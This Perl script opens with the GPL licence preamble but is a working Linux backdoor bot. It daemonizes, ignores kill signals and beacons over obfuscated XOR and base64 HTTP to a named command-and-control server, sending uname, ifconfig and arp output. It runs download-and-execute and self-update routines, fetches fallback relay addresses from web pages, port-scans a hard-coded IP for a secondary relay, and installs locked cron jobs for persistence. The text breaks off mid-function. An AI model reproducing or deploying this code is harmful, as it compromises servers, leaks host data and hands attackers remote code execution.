#!/usr/bin/perl

# GNU GENERAL PUBLIC LICENSE
# Version 3, 29 June 2007
# Copyright © 2007 Free Software Foundation, Inc. <https://fsf.org/>
# Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
# Preamble

# The GNU General Public License is a free, copyleft license for software and other kinds of works.
# The licenses for most software and other practical works are designed to take away your freedom to share and change the works.
# By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a 
# program--to make sure it remains free software for all its users. We, the Free Software Foundation, 
# use the GNU General Public License for most of our software; 
# it applies also to any other work released this way by its authors. You can apply it to your programs, too.
# When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure 
# that you have the freedom to distribute copies of free software (and charge for them if you wish), 
# that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free
# programs, and that you know you can do these things.

# To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights.
# Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: 
#responsibilities to respect the freedom of others.

# For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to 
# the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

# Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, 
#and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.

# For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software.
# For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems
# will not be attributed erroneously to authors of previous versions.

# Some devices are designed to deny users access to install or run modified versions of the software inside them, although
# the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software.
# The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is 
# most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. 
# If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future 
# versions of the GPL, as needed to protect the freedom of users.

# Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development
# and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents 
#applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be 
#used to render the program non-free.

# The precise terms and conditions for copying, distribution and modification follow.

use Socket;
use Cwd 'abs_path';
use File::Basename;

my $BIN_Ver = "1.0.4";

my $USER_AGENT = "E9BC3BD76216AFA560BFB5ACAF5731A3";	
my $FOLDER_NAME = "/misc/ui/images/";	
my $HELL_GATE = $FOLDER_NAME."Indxe.php";
my $HOME = "speakupomaha.com";
my $HOME_PORT = 80;
my $DEFAULT_SLEEP_TIME = 3;	
my $k = "#";
my $MyIDFFDEAFBEED66   = "77E80B63D72C53418C3B969"; 
my $ConfigHash = "2ee1c2d03f78a316b9cfce167f631dbb";
my $Exception  = "rqffqrtw";

my $current_binary_path = "/www/wwwroot/admin.yixiangren.net/trunk/public";
my $current_basename    = "pkcs";
my $conf_file           = $current_binary_path."/".".rc" ;

my $mtxtmpfile  = "/tmp/.Abe0ffdecac1a561be917bfded951a7a";
my $mtxutmpfile = "/tmp/.Ube0ffdecac1a561be917bfded951a7a";


sub uuid{
    local $out;
    local $uuid_rand1 = 10000000*rand();
    local $uuid_rand2 = 10000000*rand();
    local $uuid_rand3 = 10000000*rand();
    local $uuid_rand4 = 10000000*rand();

    local $hex1 = sprintf("%X", $uuid_rand1);
    local $hex2 = sprintf("%X", $uuid_rand2);
    local $hex3 = sprintf("%X", $uuid_rand3);
    local $hex4 = sprintf("%X", $uuid_rand4);

    $out = $hex1.$hex2.$hex3.$hex4;
    return $out;
}
sub mtx{
    if (open OUTF, ">$mtxtmpfile" or return "notopened"){
    print OUTF $$;
    close OUTF;

    }
}

sub min {
   local($min)= $_[0]+0 ;  # force to numeric
   foreach (@_) {
       $min= $_ if $_<$min ;
   }
   return $min ;
}
$SIG{CHLD} = 'IGNORE';
$SIG{INT} =  'IGNORE';
$SIG{TERM} = 'IGNORE';
# base64 perl implementation
# Copyright 1995-1999, 2001-2004 Gisle Aas.
sub encode_base64 ($;$){
    if ($] >= 5.006) {
	require bytes;
	if (bytes::length($_[0]) > length($_[0]) ||
	    ($] >= 5.008 && $_[0] =~ /[^\0-\xFF]/)){
	    print("The Base64 encoding is only defined for bytes");
		}
    }
    use integer;
    my $eol = $_[1];
    $eol = "\n" unless defined $eol;
    my $res = pack("u", $_[0]);
    $res =~ s/^.//mg;
    $res =~ s/\n//g;
    $res =~ tr|` -_|AA-Za-z0-9+/|;               # `# help emacs
    my $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.{$padding}$/'=' x $padding/e if $padding;
    if (length $eol) {
	$res =~ s/(.{1,76})/$1$eol/g;
    }
    $res =~ s/\+/%2B/g;
    $res =~ s/\//%2F/g;
    $res =~ s/=/%3D/g;
    $res =~ s/\r\n//g;
    $res =~ s/\n//g;
    return $res;
}

sub decode_base64 ($){

    local($^W) = 0; # unpack("u",...) gives bogus warning in 5.00[123]
    use integer;
    my $str = shift;
    
    #Safing string
    $str =~ s/%2B/\+/g;
    $str =~ s/%2F/\//g;
    $str =~ s/%3D/=/g;
    $str =~ s/\r\n//g;
    $str =~ s/\n//g;

    $str =~ tr|A-Za-z0-9+=/||cd;            # remove non-base64 chars
    if (length($str) % 4) {
	print("Length of base64 data not a multiple of 4")
    }
    $str =~ s/=+$//;                        # remove padding
    $str =~ tr|A-Za-z0-9+/| -_|;            # convert to uuencoded format
    return "" unless length $str;
    my $uustr = '';
    my ($i, $l);
    $l = length($str) - 60;
    for ($i = 0; $i <= $l; $i += 60) {
	$uustr .= "M" . substr($str, $i, 60);
    }
    $str = substr($str, $i);
    if ($str ne "") {
	$uustr .= chr(32 + length($str)*3/4) . $str;
    }
    return unpack ("u", $uustr);
}

sub string_enc {
    my ($str, $key) = @_;
    $key = substr($key,0,1);
    my $enc_str = '';
    for my $char (split //, $str){
        $enc_str .= chr(ord($char) ^ ord($key));
    }
	$ee = encode_base64($enc_str);
	chomp($ee);
	return $ee;
}

sub string_dec {
    my ($str, $key) = @_;
	#chomp($str);
	$str = decode_base64($str);
	chomp($str);
    $key = substr($key,0,1);
    my $enc_str = '';
    for my $char (split //, $str){
        $enc_str .= chr(ord($char) ^ ord($key));
    }
	chomp($enc_str);
	return $enc_str;
}

sub newsocketto {
   local(*S, $host, $port)= @_ ;
   local($hostaddr, $remotehost) ;
   ($hostaddr= ($host=~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/) ?  pack('C4', $1, $2, $3, $4)
                 :  (gethostbyname($host))[4] )  || return(0, "Couldn't find IP address for $host") ;
   $remotehost= pack('S n a4 x8', AF_INET, $port, $hostaddr) ;
   socket(S, AF_INET, SOCK_STREAM, (getprotobyname('tcp'))[2]) || return(0, "Couldn't create socket: $!") ;
   connect(S, $remotehost)  || return(0, "Couldn't connect to $host:$port: $!") ;
   select((select(S), $|=1)[0]) ;
   return (1, "") ;
}

sub GetCommand {
	my($host_ex, $port_ex, $hell_path, $user_agent) = @_;
	my $return_buffer = "";
GETURL:
($success, $errmsg)= &newsocketto(*S, $host_ex, $port_ex) ;
   return unless $success ;
      print S "GET $hell_path HTTP/1.0\015\012",
            "Host: $host_ex:$port_ex\015\012",
           "User-Agent: $user_agent\015\012\015\012" ;
   vec($rin= '', fileno(S), 1)= 1 ;
   select($rin, undef, undef, 60) || return "nores";
   $numread= 0 ;
   while ( ($numread<5) 
           && ($thisread= read(S, $status_line, 5-$numread, $numread)) ) {
       $numread+= $thisread ;
   }
   defined($thisread) || return "err";
   if ($status_line!~ m#^HTTP/#) {
    #print $status_line ; #decode_base64
    #print while read(S, $_, 16384) ;
   } else {
       $status_line.= <S> ;
       ($status_code)= ($status_line=~ m#^HTTP/\d+\.\d+\s+(\d+)#) ;

       $headers= '' ;
       while (<S>) {
           last if /^\015?\012/ ;
           $headers.= $_ ;
       }
       $headers=~ s/\015?\012[ \t]+/ /g ;
       if ($status_code=~ /^(301|302|303)$/) {
           unless ( ($URL)= ($headers=~ /^location:[ \t]*(\S*)/im) ) {
               return "err";
           }
           ($numredirects++ > 5) && return "err";
           print STDERR "Redirecting to $URL\n" ;
           close(S) ;
           goto GETURL;
       }

       ($status_code == 200) || return $status_code;
       if ( ($content_length)= ($headers=~ /^content-length:[ \t]*(\d*)/im) ) {
           $lefttoget= $content_length ;
           $lefttoget= $content_length ;
           while ($lefttoget
                   && ($thisread= read(S, $buf, &min($lefttoget,16384)) )) {
               $return_buffer .= $buf;
               $lefttoget-= $thisread ;
           }
           defined($thisread) || return "err";
           $lefttoget && return "err";
       } else {
        #    print while read(S, $_, 16384);
            while (read(S, $buf, 16384))
            {
                $return_buffer .= $buf;
            }
       }
   }
   close(S) ;
   return $return_buffer;
}

sub PostCommand {
	my($host_ex, $port_ex, $hell_path, $user_agent, $data) = @_;
	my $return_buffer = "";
    GETURL:
    ($success, $errmsg)= &newsocketto(*S, $host_ex, $port_ex) ;
    return unless $success ;
      print S "POST $hell_path HTTP/1.0\015\012",
      "Host: $host_ex:$port_ex\015\012",
      "User-Agent: ".$user_agent."\015\012",
      "Accept: */*\015\012",
      "Content-Length: ".length($data)."\015\012",
      "Content-Type: application/x-www-form-urlencoded\015\012\015\012",
       $data;

   vec($rin= '', fileno(S), 1)= 1 ;
   select($rin, undef, undef, 60) || return "nores";
   $numread= 0 ;
   while ( ($numread<5) && ($thisread= read(S, $status_line, 5-$numread, $numread)) ) {
       $numread+= $thisread ;
   }
   defined($thisread) || return "err";
   if ($status_line!~ m#^HTTP/#) {
    #print $status_line ; #decode_base64
    #print while read(S, $_, 16384) ;
   } else {
       $status_line.= <S> ;
       ($status_code)= ($status_line=~ m#^HTTP/\d+\.\d+\s+(\d+)#) ;
       $headers= '' ;
       while (<S>) {
           last if /^\015?\012/ ;
           $headers.= $_ ;
       }
       $headers=~ s/\015?\012[ \t]+/ /g ;
       if ($status_code=~ /^(301|302|303)$/) {
           unless ( ($URL)= ($headers=~ /^location:[ \t]*(\S*)/im) ) {
               return "err";
           }
           ($numredirects++ > 5) && return "err";
           print STDERR "Redirecting to $URL\n" ;
           close(S) ;
           redo GETURL ;
       }

       ($status_code == 200) || return $status_code;
       if ( ($content_length)= ($headers=~ /^content-length:[ \t]*(\d*)/im) ) {
           $lefttoget= $content_length ;
           $lefttoget= $content_length ;
           while ($lefttoget
                   && ($thisread= read(S, $buf, &min($lefttoget,16384)) )) {
               $return_buffer .= $buf;
               $lefttoget-= $thisread ;
           }
           defined($thisread) || return "err";
           $lefttoget && return "err";
       } else {
        #   print while read(S, $_, 16384) ;
            while (read(S, $buf, 16384))
            {
                $return_buffer .= $buf;
            }
       }
   }
   close(S) ;
   return $return_buffer;
}
# send message function
sub SendBackResult{
    local $res;
    my $path = $HELL_GATE;
    my ($operation, $taskid, $answer) = @_;
    $messageF = "id=".$MyIDFFDEAFBEED66.'&hsc='.$ConfigHash."&op=".$operation."&td=".$taskid."&re=".$answer;
    
    #encrypt Resposes
    my $encryptedPostData;
    $encryptedPostData = string_enc($messageF,$k);    
    $res = PostCommand($HOME, $HOME_PORT, $path, $USER_AGENT, "1=".$encryptedPostData);
    return string_dec($res, $k);
}
sub SendBackState{
    local $res;
    my $path = $HELL_GATE;
    my ($operation, $taskid, $answer) = @_;
    $messageF = "id=".$MyIDFFDEAFBEED66.'&hsc='.$ConfigHash."&op=".$operation."&td=".$taskid;

    
    #encrypt Resposes
    my $encryptedPostData;
    $encryptedPostData = string_enc($messageF,$k);
    $res =  PostCommand($HOME, $HOME_PORT, $path, $USER_AGENT, "1=".$encryptedPostData);
    return string_dec($res, $k);
}
#############################################################################
# send full information
sub register {	

    local $os = `cat /etc/issue`; chomp $os;chomp $os; $os .="-";
    $os .= `uname -s`; chomp($os);

	my $kerneln = `uname -r`;
	chomp($kerneln);
	my $kernelv = `uname -v`;
	chomp($kernelv);
	my $art = `uname -m`;
	chomp($art);
	my $hostname = `uname -n`;
	chomp($hostname);
	my $username = `whoami`;
	chomp($username);
    my $priv;
    if ($username eq "root"){
        $priv = "admin";
    }
    else{
        $priv = "user";
    }
    my $info = "======uname -a===========";
    $info .= `uname -a`;
    $info .= "\n======ifconfig -a===========";
    $info .= `ifconfig -a`;
    $info .= "\n======arp -a===========";
    $info .= `arp -a`;
    chomp $info;
    $info =~ s/\n*//ig;
	my $CPU_Num = `cat /proc/cpuinfo | grep -c "cpu family" 2>&1`; chomp $CPU_Num;
    #$CPU_Num = 4;
	#my $fullinfo = encode_base64("$os-$kerneln-$kernelv-$art-$hostname-$username");
	my $fullinfo = encode_base64($info);
    $fullinfo=~s/\n//g;

    my $lr = `who -b`; chomp $lr;
    $lr =~ s/(reboot|~|boot|system)//ig;
    $lr = trim($lr);
	my $fpath = $HELL_GATE;
    #$fpath=~s/\n//g;

    my $postData = "id=".$MyIDFFDEAFBEED66.'&hsc='.$ConfigHash."&os=".$os."&pv=".$priv."&ip=".$current_binary_path."/".$current_basename."&cn=".$hostname."&bv=".$BIN_Ver."&acp=test&cp=".$CPU_Num."&lr=".$lr."&wk=&dm=linux&sy=".$fullinfo;

    #for encrypted Register
    my $encryptedPostData;
    $encryptedPostData = string_enc($postData,$k);
    $status = PostCommand($HOME, $HOME_PORT, $fpath, $USER_AGENT, "1=".$encryptedPostData);
    return string_dec($status,$k);
}
####################################################################
sub Knock_Knock{
    my $path = $HELL_GATE;
    my $knock_knock_req = 'id='.$MyIDFFDEAFBEED66.'&hsc='.$ConfigHash.'&bv='.$BIN_Ver;
    
    #for encrypted knock knock
    my $encryptedPostData;
    $encryptedPostData = string_enc($knock_knock_req,$k);  
    my $result = PostCommand($HOME, $HOME_PORT, $path, $USER_AGENT, "1=".$encryptedPostData);    
#print "Knock_Knock: result of post raw:$result";
    if (! defined $result ){
        return;
    }
    #decrypt result
    my $decresult;
    $decresult = string_dec($result,$k);

 #   print "\nKnock_Knock: result of post decrypted: $decresult";

    if ($decresult =~ m/(needregr|newtask|notasks|newreconfig)/ig){
        return $decresult;
    } 
    else{
        return;
    }
}
####################################################################
sub check_relay{
    my $path = $HELL_GATE;
    my $rlok = PostCommand($HOME, $HOME_PORT, $path, $USER_AGENT, "ch=ck");
    
    if (!defined $rlok){
        return 0;
    }
    if ($rlok =~ m/rlOkey/ig){
        return 1;
    } 
    else{
        return 0;
    }

}
sub Update_Config_File{    
    if (open OUTF, ">$conf_file" or return "notopened"){
        
        print OUTF $ConfigHash.",".$DEFAULT_SLEEP_TIME;
        close OUTF;

    }
}
sub Load_Config_File{    
    if (open INF, $conf_file or return "notopened"){
        $line = <INF>;
        close INF;
        if (defined ($line)){
            chomp $line;
            ($ConfigHash, $DEFAULT_SLEEP_TIME) = split "," ,$line;
        }
    }
}
#	trim 
sub trim {
    my($str) = shift =~ m!^\s*(.+?)\s*$!i;
    defined $str ? return $str : return '';
}
# daemonizing function
sub daemonize{
#    chdir '/'                 or die "daemonize error\n"; # garbage messages
    defined(my $pid = fork)   or die "daemonize error\n";
    print "5651B558916E66D6D2E76775A655A053";
    exit if $pid;
    open STDIN, '/dev/null'   or die "daemonize error\n";
    open STDOUT, '>>/dev/null' or die "daemonize error\n";
    open STDERR, '>>/dev/null' or die "daemonize error\n";
    setsid                    or die "daemonize error\n";
    umask 0;
}
# download and execute some file
sub DownLoadExec {
    my ($remote_host, $remote_port, $remote_path, $local_path) = @_;

    my $usragnt = 'Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD';
    my $bin = GetCommand($remote_host, $remote_port, $remote_path, $usragnt);
    
    if ( !defined ($bin)){
        return "Could not Download the Bin, try again";
    }
    if (open ($OUTF, ">", $local_path)){
        binmode $OUTF;
        print $OUTF $bin;
        close $OUTF;	
        chmod 0755, $local_path;
        #$output = system($local_path);
        $output = "downloaded";
        return $output;
 
    }else{
        print "failed to create file for Download and execute";
        return "failed to create file for Download and execute";
    }    
}

sub DownLoadExecPar {
    my $usragnt = 'Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD';

    my ($remote_host, $remote_port, $remote_path, $local_path, $Params) = @_;
    my $bin = GetCommand($remote_host, $remote_port, $remote_path, $usragnt);
    
    if ( !defined ($bin)){
        return "Could not Download the Bin, try again";
    }
    #local ($output, $OUTF);

    if (open ($OUTF, ">", $local_path)){
        binmode $OUTF;
        print $OUTF $bin;
        close $OUTF;	
        chmod 0755, $local_path;
        $output = system($local_path, $Params);
        return $output;
 
    }else{
        return "failed to create file for Download and execute";
    }    
}
###Update
sub Updateme {
    my $usragnt = 'Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD';

    my ($remote_host, $remote_port, $remote_path) = @_;
    my $bin = GetCommand($remote_host, $remote_port, $remote_path, $usragnt);
    if ( !defined ($bin)){
        print "Could not Download the Bin, try again";
        return "Could not Download the Bin, try again";
    }
    #local ($output, $OUTF);
    my $fileabsname = $current_binary_path."/".$current_basename;
    $bin =~ s/00000000000000000000000000000000/$MyIDFFDEAFBEED66/; 

    if (open ($OUTF, ">", $fileabsname)){
        
        binmode $OUTF;
        print $OUTF $bin;
        close $OUTF;	
        chmod 0777, $fileabsname;
        return $fileabsname;
        print "updated file written\n";
 
    }else{
        print "failed to updateme";
        return "failed to updateme";
    }    
}

######FileScanner######
sub scanme{
    my ($shost) = @_;
    open(my $fh, '>', "$current_binary_path/.findport.pl");
    
print $fh <<'ENDOFCONTENT';
#!/usr/bin/perl
use IO::Socket::INET;
$|=1;
@raw_ports = (1,100,1000,10000,10001,10002,10003,10004,10009,1001,10010,10012,1002,10024,10025,1003,1004,1005,1006,1007,1008,10082,1009,1010,1011,10180,1021,10215,1022,1023,1024,10243,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,10566,1057,1058,1059,106,1060,1061,10616,10617,1062,10621,10626,10628,10629,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,10778,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,109,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,110,1100,1102,1104,1105,1106,1107,1108,111,1110,1111,11110,11111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,113,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,119,1192,11967,1198,1199,12000,1201,1213,1216,1217,12174,1218,12222,12265,1233,1234,12345,1236,1244,1247,1248,125,1259,1271,1272,1277,1287,1296,13,1300,1301,1309,1310,1311,1322,1328,13333,1334,13456,135,1352,13722,13782,13783,139,14000,1417,14238,143,1433,1434,144,1443,14441,14442,14444,1455,146,1461,1494,1500,15000,15002,15003,15004,1501,1503,1521,1524,1533,15555,1556,15660,15742,1580,1583,1594,1600,16000,16001,16012,16016,16018,16080,161,16113,163,1641,1658,1666,16666,1687,1688,16992,16993,17,1700,1717,1718,1719,1720,1721,1723,1755,1761,17777,1782,1783,17877,179,17988,1801,18040,1805,18080,18101,1812,1839,1840,1862,1863,1864,1875,18888,18988,19,1900,19090,19101,1914,19283,19315,1935,19350,1947,1971,1972,1974,19780,19801,1984,19842,199,1998,1999,19999,20,2000,20000,20005,2001,2002,2003,20031,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,20221,20222,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2080,20828,2086,2099,21,2100,2103,2105,2106,2107,211,2111,21111,2119,212,2121,2126,2135,2144,21571,2160,2161,2170,2179,2190,2191,2196,22,2200,2211,222,2222,22222,2233,2251,2260,2288,22939,23,2301,2323,23333,23502,2366,2381,2382,2383,2393,2394,2399,24,2401,2443,24444,24800,2492,25,2500,25010,2522,2525,254,255,25555,2557,256,25734,25735,259,26,2601,2602,2604,2605,2607,2608,26214,2638,264,26666,27000,2701,2702,2710,2717,2718,2725,27352,27353,27355,27356,27715,27777,280,2800,28080,2809,2811,28201,2869,2875,28888,2909,29090,2910,2920,2967,2968,2998,29999,3,30,3000,30000,3001,3002,3003,3004,3005,3006,3007,3008,3009,301,3010,3011,3013,3017,3030,3031,3052,306,3071,30718,3077,30951,31038,311,31111,3128,3131,31337,3168,32,3211,3221,32222,32400,3260,3261,3268,3269,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,3283,33,3300,3301,3306,3322,3323,3324,3325,3333,33333,33354,3344,3351,3367,3369,3370,3371,3372,3389,33899,3390,340,3404,3443,34444,34571,34572,34573,3476,3493,3517,3522,3527,3546,35500,3551,35555,3580,3659,366,36666,3689,3690,37,3703,3737,3766,37777,3784,3800,3801,38080,3809,3814,3826,3827,3828,38292,3851,3869,3871,3878,3880,38888,3889,389,3905,39090,3914,3918,3920,3945,3971,3986,3995,3998,39999,4,4000,40000,4001,4002,4003,4004,4005,4006,4007,4008,4009,4010,40193,4040,4045,406,407,4080,40911,4111,41111,4125,4126,4129,4141,41511,416,417,42,42222,4224,4242,425,42510,427,4279,43,4321,43333,4343,44176,443,4433,444,4443,4444,44442,44443,44444,4445,4446,4449,445,44501,4455,45100,4550,45555,4567,458,464,465,4662,46666,47777,48080,481,4848,48888,4899,49,4900,49090,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,497,4998,49999,500,5000,50000,50001,50002,50003,50006,5001,5002,5003,5004,5005,5006,5007,5008,5009,5010,5030,50300,5033,50389,5050,50500,5051,5054,5060,5061,50636,5080,50800,5081,5087,5100,5101,5102,51103,51111,512,5120,513,514,51493,515,5151,5190,5200,5214,5221,5222,52222,5225,5226,524,5252,52673,5269,5280,52822,52848,52869,5298,53,5300,53333,5353,5357,5400,54045,5405,541,5414,543,5431,5432,54328,544,5440,5443,54444,545,5454,548,5500,55055,55056,5510,554,5544,555,5550,5555,55555,5560,55600,5566,5600,563,5631,5633,5656,5666,56666,56737,56738,5678,5679,5700,5718,57294,5730,5757,57777,57797,5800,5801,5802,58080,5810,5811,5815,5822,5825,5850,5858,5859,5862,587,5877,58888,5900,5901,5902,5903,5904,5906,5907,59090,5910,5911,5915,5922,5925,593,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,59999,6,6000,6001,6002,60020,6003,6004,6005,6006,6007,6008,6009,6010,6025,60443,6059,6060,6080,6081,6100,6101,6106,61111,6112,6123,6129,61532,6156,616,6161,617,61900,6200,62078,62222,625,6300,631,63331,63333,6346,636,6389,6400,6443,64444,646,64623,64680,648,6500,65000,6502,6510,65129,65389,6543,6547,6565,6566,6567,6580,6600,6646,6655,666,6661,6662,6663,6664,6665,6666,6667,6668,6669,667,6677,668,6689,6692,6699,6700,6779,6788,6789,6792,6800,683,6839,687,6881,6900,6901,691,6969,7,70,700,7000,7001,7002,7003,7004,7005,7006,7007,7008,7009,7010,7019,7025,705,7070,7081,7100,7103,7106,711,714,7171,720,7200,7201,722,7220,726,7272,7300,7373,7400,7402,7435,7443,7474,749,7496,7500,7512,7575,7600,7625,7627,765,7676,7700,7710,7720,7730,7740,7741,7750,7760,7766,777,7770,7771,7772,7773,7774,7775,7776,7777,7778,7779,7780,7788,7790,7800,783,787,7878,79,7900,7911,7920,7921,7937,7938,7999,80,800,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,801,8010,8011,8021,8022,8031,8042,8045,808,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,81,8100,8110,8120,8130,8140,8150,8160,8170,8180,8181,8190,8192,8193,8194,82,8200,8222,8254,8282,8290,8291,8292,83,8300,8333,8383,84,8400,8402,843,8443,8484,85,8500,8585,8600,8649,8651,8652,8654,8686,8700,8701,873,8787,88,880,8800,8810,8820,8830,8840,8850,8860,8870,8873,8877,888,8880,8881,8882,8883,8884,8885,8886,8887,8888,8890,8899,89,8900,898,8989,8994,9,90,900,9000,9001,9002,9003,9004,9005,9006,9007,9008,9009,901,9010,9011,902,903,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,911,9110,9111,912,9191,9200,9207,9220,9290,9292,9300,9393,9400,9415,9418,9443,9485,9494,9500,9502,9503,9535,9575,9593,9594,9595,9600,9618,9666,9700,9800,981,987,9876,9877,9878,9898,99,990,9900,9910,9917,992,9920,9929,993,9930,9940,9943,9944,995,9950,9960,9968,9970,9980,9988,999,9990,9998,9999);
sub port_finder{
my ($target, $start_port, $end_port) = @_;
my ($socket,$hostaddr,$remotehost,$port);
@ports = ();
 foreach $port (@raw_ports) 
     {
        $socket = IO::Socket::INET->new(PeerAddr => $target , PeerPort => $port , Proto => 'tcp' , Timeout => 1);
        if( $socket )
        {
            print $port;
            exit 0;
        }
        else
        {
            #Port is closed,
        }
     }
}
port_finder (@ARGV[0],75,82);
ENDOFCONTENT

    close $fh;
    $res = `chmod +x $current_binary_path/.findport.pl`;
    $res = `$current_binary_path/.findport.pl $shost`;
    `rm $current_binary_path/.findport.pl`;
    chomp $res;
    return $res;
}
###set def rel
sub setdefrelay{
    $FOLDER_NAME = "/misc/ui/images/";	
    $HELL_GATE = $FOLDER_NAME."Indxe.php";
    $HOME = "speakupomaha.com";
    $HOME_PORT = 80;
        if (check_relay()){
            return 1;
        }else{
            if (check_relay()){
                return 1;
            }
        }
return 0;
}
#####update rel from
sub getrelfromblog{
    my $path = "/hp.html";
    my $blg = "linuxservers.000webhostapp.com";
    my $bport = 80;
    my $aggnet = "Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405";
    my ($rl, $encrel);
    my ($dom, $upath);
    local $result = GetCommand($blg, "80", $path, $aggnet);
    
    if (!defined $result){
        return 0;
    }
    if ($result =~ m/#\|\|\|\|(.+)\|\|\|\|/ig){
        $decrel = string_dec($1,$k);
        $dom = $HOME;
        $upath = $HELL_GATE;
        ($HOME,$HOME_PORT,$HELL_GATE) = split(",", $decrel);
        if (check_relay()){
            return 1;
        }else{
            if (check_relay()){
                return 1;
            }
            $HOME = $dom;
            $HELL_GATE = $upath;
            return 0;
        }
    }
    return 0;
}
####blg2
#####update rel from
sub getrelfromblog1{
    my $path    = "/";
    my $blg     = "linuxsrv134.xp3.biz";
    my $bport = 80;
    my $aggnet = "Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405";
    my ($rl, $encrel);
    my ($dom, $upath);
    local $result = GetCommand($blg, "80", $path, $aggnet);
    
    if (!defined $result){
        return 0;
    }
    if ($result =~ m/\|###(.+)###\|/ig){
        $decrel = string_dec($1,$k);
        $dom = $HOME;
        $upath = $HELL_GATE;
        ($HOME,$HOME_PORT,$HELL_GATE) = split(",", $decrel);
        if (check_relay()){
            return 1;
        }else{
            if (check_relay()){
                return 1;
            }
            $HOME = $dom;
            $HELL_GATE = $upath;
            return 0;
        }
    }
    return 0;
}

#####update gen rel & try to
sub DG{
return 0;
}
####sec relay
sub srel{

    my $sport = scanme("5.196.70.86");
    if ((defined $sport)){
        if ($sport > 0){

            $HOME = "5.2.73.127"; #SEC REL ADDR
            $HOME_PORT = $sport;
            $HELL_GATE = "/lnsqqFE2jK/pprtnp153WWW.php"; #path of sec rel
            if (check_relay()){
                return 1;
            }
        }
    }
    return 0;
}

sub crntabvalidator
{
    my $CRNSTRINGRREEAADD = 'echo "0 * * * * /bin/sh \"/home/swoole/tests/include/memoryleak/tcp_client_memory_leak/nmi\"
##These are for bus-kernl-daemon service
0 0 * * * /bin/sh \"/www/wwwroot/admin.yixiangren.net/trunk/public/nbus\"
0 0 * * 0 /bin/sh \"/.dbus\"" | crontab -';
    my $cuser = `whoami`; chomp $cuser;
    if ($cuser !~ /root/i)
    {
        if (-f "/var/spool/cron/$cuser")
        {
            system("chattr", "-i /var/spool/cron/$cuser");
            system("chattr", "-a /var/spool/cron/$cuser");
        }
        if (-f "/var/spool/cron/crontabs/$cuser")
        {
            system ("chattr", "-i /var/spool/cron/crontabs/$cuser");
            system ("chattr", "-a /var/spool/cron/crontabs/$cuser");
        }

        system ($CRNSTRINGRREEAADD);

        if (-f "/var/spool/cron/$cuser")
        {
            system("chattr", "+i /var/spool/cron/$cuser");
            system("chattr", "+a /var/spool/cron/$cuser");
        }
        if (-f "/var/spool/cron/crontabs/$cuser")
        {
            system ("chattr", "+i /var/spool/cron/crontabs/$cuser");
            system ("chattr", "+a /var/spool/cron/crontabs/$cuser");
        }

    }
}
#####################################################
##          PRE __INIT Lable                       ##
#####################################################

# 1) starting up and mutxs
if (-f $mtxtmpfile){
    my $pid;
    if (open MTX, $mtxtmpfile or return "cant open"){
        $pid = <MTX>;
        close MTX;
        chomp $pid;
        $exists = kill 0, $pid;
        if ($exists){
            if ( ! -f$mtxutmpfile){       
            exit(3);
            }else{
                system("rm","-f",$mtxutmpfile);
            }
        }    
    }
}
daemonize();
mtx();

# 2) Load Conf_file if it does existed, if it doesn't, conf_hash and Sleep time have defaults  
# but uuid should created here
if (-f $conf_file){
    Load_Config_File();
}

#UUID Management 
if ($MyIDFFDEAFBEED66 eq "00000000000000000000000000000000"){
    
    $myid = uuid();
    $MyIDFFDEAFBEED66 = $myid;
    
    my $abscontent;
    my $fileabsname = $current_binary_path."/".$current_basename;
    if (open ($INF, "<", $fileabsname)){
        while (my $readline = <$INF>)
        {
            $abscontent .= $readline;
        }
        close $INF;
    }else{
